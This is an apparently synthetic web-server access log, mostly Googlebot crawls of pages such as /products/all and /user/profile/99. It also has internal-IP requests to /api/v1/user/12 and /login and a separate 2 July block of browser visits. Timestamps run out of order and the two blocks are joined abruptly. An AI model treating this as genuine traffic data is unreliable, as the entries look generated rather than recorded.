HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:37 web-app[3924]: 66.249.79.180 - - [15/Jul/2025:14:05:37 ] "GET /help/faq HTTP/1.1" 200 5445 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:36 web-app[3718]: 66.249.79.238 - - [15/Jul/2025:14:05:36 ] "GET /products/all HTTP/1.1" 200 10600 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:39 web-app[3823]: 66.249.79.86 - - [15/Jul/2025:14:05:39 ] "GET /images/logo.png HTTP/1.1" 200 6691 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:39 web-app[3930]: 66.249.79.98 - - [15/Jul/2025:14:05:39 ] "GET /blog/post-101 HTTP/1.1" 200 10348 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:37 web-app[3958]: 66.249.79.77 - - [15/Jul/2025:14:05:37 ] "GET /blog/post-102 HTTP/1.1" 200 9185 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:38 web-app[3489]: 66.249.79.27 - - [15/Jul/2025:14:05:38 ] "GET /static/style.css HTTP/1.1" 200 6907 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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66.249.79.60 - - [15/Jul/2025:14:05:44 ] "GET /static/style.css HTTP/1.1" 200 13613 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:41 web-app[3588]: 66.249.79.226 - - [15/Jul/2025:14:05:41 ] "GET /help/faq HTTP/1.1" 200 14561 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:44 web-app[3472]: 66.249.79.241 - - [15/Jul/2025:14:05:44 ] "GET /products/all HTTP/1.1" 200 6443 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:42 web-app[3830]: 66.249.79.16 - - [15/Jul/2025:14:05:42 ] "GET /static/style.css HTTP/1.1" 200 8104 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:43 web-app[3727]: 66.249.79.84 - - [15/Jul/2025:14:05:43 ] "GET /about-us HTTP/1.1" 200 8549 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:40 web-app[3361]: 66.249.79.98 - - [15/Jul/2025:14:05:40 ] "GET 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(compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:42 web-app[3219]: 66.249.79.161 - - [15/Jul/2025:14:05:42 ] "GET /contact HTTP/1.1" 200 11779 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:44 web-app[3909]: 66.249.79.88 - - [15/Jul/2025:14:05:44 ] "GET /static/style.css HTTP/1.1" 200 6212 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:44 web-app[3262]: 66.249.79.126 - - [15/Jul/2025:14:05:44 ] "GET /contact HTTP/1.1" 200 13889 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:42 web-app[3269]: 66.249.79.36 - - [15/Jul/2025:14:05:42 ] "GET /user/profile/99 HTTP/1.1" 200 8079 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:43 web-app[3045]: 66.249.79.24 - - [15/Jul/2025:14:05:43 ] "GET /static/style.css HTTP/1.1" 200 14167 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:40 web-app[3607]: 66.249.79.51 - - [15/Jul/2025:14:05:40 ] "GET /static/style.css HTTP/1.1" 200 5207 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:43 web-app[3638]: 66.249.79.87 - - [15/Jul/2025:14:05:43 ] "GET / HTTP/1.1" 200 12767 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:44 web-app[3735]: 66.249.79.252 - - [15/Jul/2025:14:05:44 ] "GET /help/faq HTTP/1.1" 200 13255 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:42 web-app[3487]: 66.249.79.115 - - [15/Jul/2025:14:05:42 ] "GET /images/logo.png HTTP/1.1" 200 6672 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:40 web-app[3433]: 66.249.79.30 - - [15/Jul/2025:14:05:40 ] "GET /products/all HTTP/1.1" 200 8151 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:48 web-app[3212]: 66.249.79.94 - - [15/Jul/2025:14:05:48 ] "GET /blog/post-102 HTTP/1.1" 200 13994 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3340]: 66.249.79.249 - - [15/Jul/2025:14:05:47 ] "GET /static/style.css HTTP/1.1" 200 10285 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:49 web-app[3647]: 66.249.79.41 - - [15/Jul/2025:14:05:49 ] "GET /products/all HTTP/1.1" 200 6396 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:48 web-app[3657]: 66.249.79.76 - - [15/Jul/2025:14:05:48 ] "GET /user/profile/99 HTTP/1.1" 200 12626 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3913]: 66.249.79.172 - - [15/Jul/2025:14:05:47 ] "GET /blog/post-101 HTTP/1.1" 200 10572 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3862]: 66.249.79.10 - - [15/Jul/2025:14:05:46 ] "GET /blog/post-102 HTTP/1.1" 200 7288 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3380]: 66.249.79.14 - - [15/Jul/2025:14:05:47 ] "GET /static/style.css HTTP/1.1" 200 9917 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:48 web-app[3434]: 66.249.79.7 - - [15/Jul/2025:14:05:48 ] "GET /images/logo.png HTTP/1.1" 200 9354 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:49 web-app[3123]: 66.249.79.104 - - [15/Jul/2025:14:05:49 ] "GET /contact HTTP/1.1" 200 5604 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3407]: 66.249.79.214 - - [15/Jul/2025:14:05:46 ] "GET /blog/post-102 HTTP/1.1" 200 11347 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:48 web-app[3708]: 66.249.79.157 - - [15/Jul/2025:14:05:48 ] "GET /help/faq HTTP/1.1" 200 6688 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3344]: 66.249.79.205 - - [15/Jul/2025:14:05:46 ] "GET /user/profile/99 HTTP/1.1" 200 10645 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:48 web-app[3592]: 66.249.79.202 - - [15/Jul/2025:14:05:48 ] "GET / HTTP/1.1" 200 8121 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3463]: 66.249.79.126 - - [15/Jul/2025:14:05:46 ] "GET /user/profile/99 HTTP/1.1" 200 14938 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3614]: 66.249.79.219 - - [15/Jul/2025:14:05:46 ] "GET / HTTP/1.1" 200 7443 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:45 web-app[3624]: 66.249.79.108 - - [15/Jul/2025:14:05:45 ] "GET /contact HTTP/1.1" 200 5347 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3438]: 66.249.79.1 - - [15/Jul/2025:14:05:47 ] "GET /help/faq HTTP/1.1" 200 8177 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:49 web-app[3145]: 66.249.79.212 - - [15/Jul/2025:14:05:49 ] "GET /blog/post-102 HTTP/1.1" 200 10921 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3209]: 66.249.79.163 - - [15/Jul/2025:14:05:47 ] "GET /blog/post-101 HTTP/1.1" 200 10446 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3227]: 66.249.79.226 - - [15/Jul/2025:14:05:46 ] "GET /products/all HTTP/1.1" 200 9324 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:48 web-app[3483]: 66.249.79.85 - - [15/Jul/2025:14:05:48 ] "GET /contact HTTP/1.1" 200 14479 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:49 web-app[3060]: 66.249.79.117 - - [15/Jul/2025:14:05:49 ] "GET /blog/post-102 HTTP/1.1" 200 13318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3605]: 66.249.79.174 - - [15/Jul/2025:14:05:47 ] "GET /images/logo.png HTTP/1.1" 200 7030 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3286]: 66.249.79.65 - - [15/Jul/2025:14:05:46 ] "GET /static/style.css HTTP/1.1" 200 6342 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3792]: 66.249.79.219 - - [15/Jul/2025:14:05:46 ] "GET /user/profile/99 HTTP/1.1" 200 6233 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3480]: 66.249.79.135 - - [15/Jul/2025:14:05:46 ] "GET /contact HTTP/1.1" 200 7986 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3369]: 66.249.79.171 - - [15/Jul/2025:14:05:46 ] "GET /images/logo.png HTTP/1.1" 200 6329 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:48 web-app[3522]: 66.249.79.196 - - [15/Jul/2025:14:05:48 ] "GET /products/all HTTP/1.1" 200 12528 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3481]: 66.249.79.71 - - [15/Jul/2025:14:05:47 ] "GET /about-us HTTP/1.1" 200 6024 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:47 web-app[3176]: 66.249.79.12 - - [15/Jul/2025:14:05:47 ] "GET /images/logo.png HTTP/1.1" 200 5200 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:45 web-app[3991]: 66.249.79.2 - - [15/Jul/2025:14:05:45 ] "GET / HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:46 web-app[3988]: 66.249.79.117 - - [15/Jul/2025:14:05:46 ] "GET /products/all HTTP/1.1" 200 14888 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:54 web-app[3671]: 66.249.79.179 - - [15/Jul/2025:14:05:54 ] "GET /help/faq HTTP/1.1" 200 12384 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:54 web-app[3935]: 66.249.79.136 - - [15/Jul/2025:14:05:54 ] "GET /user/profile/99 HTTP/1.1" 200 11106 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:51 web-app[3224]: 66.249.79.17 - - [15/Jul/2025:14:05:51 ] "GET /contact HTTP/1.1" 200 14911 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:53 web-app[3148]: 66.249.79.238 - - [15/Jul/2025:14:05:53 ] "GET /user/profile/99 HTTP/1.1" 200 13801 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:52 web-app[3136]: 66.249.79.120 - - [15/Jul/2025:14:05:52 ] "GET /products/all HTTP/1.1" 200 10111 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:52 web-app[3011]: 66.249.79.170 - - [15/Jul/2025:14:05:52 ] "GET /user/profile/99 HTTP/1.1" 200 13297 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:51 web-app[3010]: 66.249.79.232 - - [15/Jul/2025:14:05:51 ] "GET /static/style.css HTTP/1.1" 200 9478 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:53 web-app[3949]: 66.249.79.121 - - [15/Jul/2025:14:05:53 ] "GET /help/faq HTTP/1.1" 200 13587 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:53 web-app[3950]: 66.249.79.34 - - [15/Jul/2025:14:05:53 ] "GET /user/profile/99 HTTP/1.1" 200 13289 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:50 web-app[3281]: 66.249.79.146 - - [15/Jul/2025:14:05:50 ] "GET /about-us HTTP/1.1" 200 5735 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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[15/Jul/2025:14:05:52 ] "GET /user/profile/99 HTTP/1.1" 200 11731 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:50 web-app[3858]: 66.249.79.80 - - [15/Jul/2025:14:05:50 ] "GET /products/all HTTP/1.1" 200 7570 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:54 web-app[3635]: 66.249.79.118 - - [15/Jul/2025:14:05:54 ] "GET /contact HTTP/1.1" 200 12243 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:51 web-app[3771]: 66.249.79.172 - - [15/Jul/2025:14:05:51 ] "GET /blog/post-101 HTTP/1.1" 200 8668 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:51 web-app[3165]: 66.249.79.226 - - [15/Jul/2025:14:05:51 ] "GET /contact HTTP/1.1" 200 10826 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:51 web-app[3917]: 66.249.79.195 - - [15/Jul/2025:14:05:51 ] "GET /products/all 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web-app[3990]: 66.249.79.12 - - [15/Jul/2025:14:05:54 ] "GET /products/all HTTP/1.1" 200 12043 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3592]: 66.249.79.58 - - [15/Jul/2025:14:05:57 ] "GET /blog/post-101 HTTP/1.1" 200 10008 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3397]: 66.249.79.77 - - [15/Jul/2025:14:05:57 ] "GET /static/style.css HTTP/1.1" 200 8629 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:59 web-app[3704]: 66.249.79.100 - - [15/Jul/2025:14:05:59 ] "GET /blog/post-101 HTTP/1.1" 200 8652 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:59 web-app[3076]: 66.249.79.47 - - [15/Jul/2025:14:05:59 ] "GET /blog/post-102 HTTP/1.1" 200 9639 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:59 web-app[3018]: 66.249.79.12 - - [15/Jul/2025:14:05:59 ] "GET /blog/post-102 HTTP/1.1" 200 12469 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:59 web-app[3123]: 66.249.79.244 - - [15/Jul/2025:14:05:59 ] "GET /static/style.css HTTP/1.1" 200 8056 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:59 web-app[3593]: 66.249.79.59 - - [15/Jul/2025:14:05:59 ] "GET /blog/post-102 HTTP/1.1" 200 12020 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3579]: 66.249.79.65 - - [15/Jul/2025:14:05:57 ] "GET / HTTP/1.1" 200 7560 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3506]: 66.249.79.151 - - [15/Jul/2025:14:05:57 ] "GET /images/logo.png HTTP/1.1" 200 13847 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3289]: 66.249.79.4 - - [15/Jul/2025:14:05:57 ] "GET / HTTP/1.1" 200 7565 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:56 web-app[3679]: 66.249.79.62 - - [15/Jul/2025:14:05:56 ] "GET /user/profile/99 HTTP/1.1" 200 5749 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3302]: 66.249.79.7 - - [15/Jul/2025:14:05:57 ] "GET /help/faq HTTP/1.1" 200 12372 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:58 web-app[3065]: 66.249.79.218 - - [15/Jul/2025:14:05:58 ] "GET /static/style.css HTTP/1.1" 200 9826 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:55 web-app[3066]: 66.249.79.103 - - [15/Jul/2025:14:05:55 ] "GET /help/faq HTTP/1.1" 200 7435 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3033]: 66.249.79.128 - - [15/Jul/2025:14:05:57 ] "GET /products/all HTTP/1.1" 200 11504 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; 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web-app[3721]: 66.249.79.117 - - [15/Jul/2025:14:05:55 ] "GET / HTTP/1.1" 200 8590 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3205]: 66.249.79.51 - - [15/Jul/2025:14:05:57 ] "GET /help/faq HTTP/1.1" 200 7986 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:58 web-app[3445]: 66.249.79.84 - - [15/Jul/2025:14:05:58 ] "GET /images/logo.png HTTP/1.1" 200 6999 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:55 web-app[3853]: 66.249.79.107 - - [15/Jul/2025:14:05:55 ] "GET /contact HTTP/1.1" 200 14558 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:59 web-app[3290]: 66.249.79.132 - - [15/Jul/2025:14:05:59 ] "GET /about-us HTTP/1.1" 200 5590 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:59 web-app[3698]: 66.249.79.32 - - [15/Jul/2025:14:05:59 ] "GET / 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"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:05:57 web-app[3689]: 66.249.79.35 - - [15/Jul/2025:14:05:57 ] "GET /static/style.css HTTP/1.1" 200 5131 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 15 14:06:10 web-app[1146]: 192.168.1.86 - - [15/Jul/2025:14:06:10 ] "GET /api/v1/user/12 HTTP/1.1" 200 1134 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Jul 15 14:06:15 web-app[1633]: 192.168.1.14 - - [15/Jul/2025:14:06:15 ] "GET /api/v1/user/12 HTTP/1.1" 200 1624 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Jul 15 14:06:35 web-app[1143]: 192.168.1.6 - - [15/Jul/2025:14:06:35 ] "GET /api/v1/user/12 HTTP/1.1" 200 1320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Jul 15 14:06:50 web-app[1136]: 192.168.1.58 - - [15/Jul/2025:14:06:50 ] "GET /login HTTP/1.1" 200 1050 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Jul 15 14:06:55 web-app[1912]: 192.168.1.78 - - [15/Jul/2025:14:06:55 ] "GET /login HTTP/1.1" 200 1047 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Jul 15 14:07:05 web-app[1778]: 192.168.1.64 - - [15/Jul/2025:14:07:05 ] "GET /api/v1/user/12 HTTP/1.1" 200 1784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Jul 15 14:07:15 web-app[1218]: 192.168.1.27 - - [15/Jul/2025:14:07:15 ] "GET /api/v1/user/12 HTTP/1.1" 200 1848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Jul 15 14:07:25 web-app[1390]: 192.168.1.41 - - [15/Jul/2025:14:07:25 ] "GET /api/v1/user/12 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Starting daily clean up activities... +Jul 02 12:00:08 172.16.31.200 - - [02/Jul/2025:12:00:08 ] "GET /blog/post-2 HTTP/1.1" 200 2187 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:12 10.0.0.54 - - [02/Jul/2025:12:00:12 ] "GET /about HTTP/1.1" 200 663 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:16 172.16.31.200 - - [02/Jul/2025:12:00:16 ] "GET /about HTTP/1.1" 200 965 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:30 10.0.0.54 - - [02/Jul/2025:12:00:30 ] "GET /services HTTP/1.1" 200 2382 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:44 10.0.0.54 - - [02/Jul/2025:12:00:44 ] "GET / HTTP/1.1" 200 1325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:53 172.16.31.200 - - [02/Jul/2025:12:00:53 ] "GET /blog/post-2 HTTP/1.1" 200 3494 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:00:59 172.16.31.200 - - [02/Jul/2025:12:00:59 ] "GET /about HTTP/1.1" 200 4309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:07 192.168.1.101 - - [02/Jul/2025:12:01:07 ] "GET /blog/post-1 HTTP/1.1" 200 2881 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:25 192.168.1.101 - - [02/Jul/2025:12:01:25 ] "GET /about HTTP/1.1" 200 3819 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:26 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:35 172.16.31.200 - - [02/Jul/2025:12:01:35 ] "GET /about HTTP/1.1" 200 4619 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:48 192.168.1.101 - - [02/Jul/2025:12:01:48 ] "GET / HTTP/1.1" 200 2138 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:53 10.0.0.54 - - [02/Jul/2025:12:01:53 ] "GET /blog/post-1 HTTP/1.1" 200 4951 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:01:55 192.168.1.101 - - [02/Jul/2025:12:01:55 ] "GET /blog/post-1 HTTP/1.1" 200 4337 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 02 12:02:00 66.249.66.1 - - [02/Jul/2025:12:02:00 ] "GET /products HTTP/1.1" 200 41866 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:00 66.249.66.5 - - [02/Jul/2025:12:02:00 ] "GET /products/item/101 HTTP/1.1" 200 37177 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:03 66.249.66.5 - - [02/Jul/2025:12:02:03 ] "GET /contact HTTP/1.1" 200 36892 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:01 66.249.66.5 - - [02/Jul/2025:12:02:01 ] "GET /services HTTP/1.1" 200 4658 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:00 66.249.75.13 - - [02/Jul/2025:12:02:00 ] "GET /services HTTP/1.1" 200 44338 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:03 66.249.66.1 - - [02/Jul/2025:12:02:03 ] "GET /services HTTP/1.1" 301 37478 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:03 66.249.66.5 - - [02/Jul/2025:12:02:03 ] "GET / HTTP/1.1" 200 15058 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:04 66.249.75.13 - - [02/Jul/2025:12:02:04 ] "GET /products/item/203 HTTP/1.1" 200 49651 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:04 66.249.66.1 - - [02/Jul/2025:12:02:04 ] "GET /products HTTP/1.1" 200 34895 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:02 66.249.75.13 - - [02/Jul/2025:12:02:02 ] "GET /products/item/101 HTTP/1.1" 200 5732 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:03 66.249.66.5 - - [02/Jul/2025:12:02:03 ] "GET /contact HTTP/1.1" 200 30682 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Jul 02 12:02:02 66.249.75.13 - - [02/Jul/2025:12:02:02 ] "GET 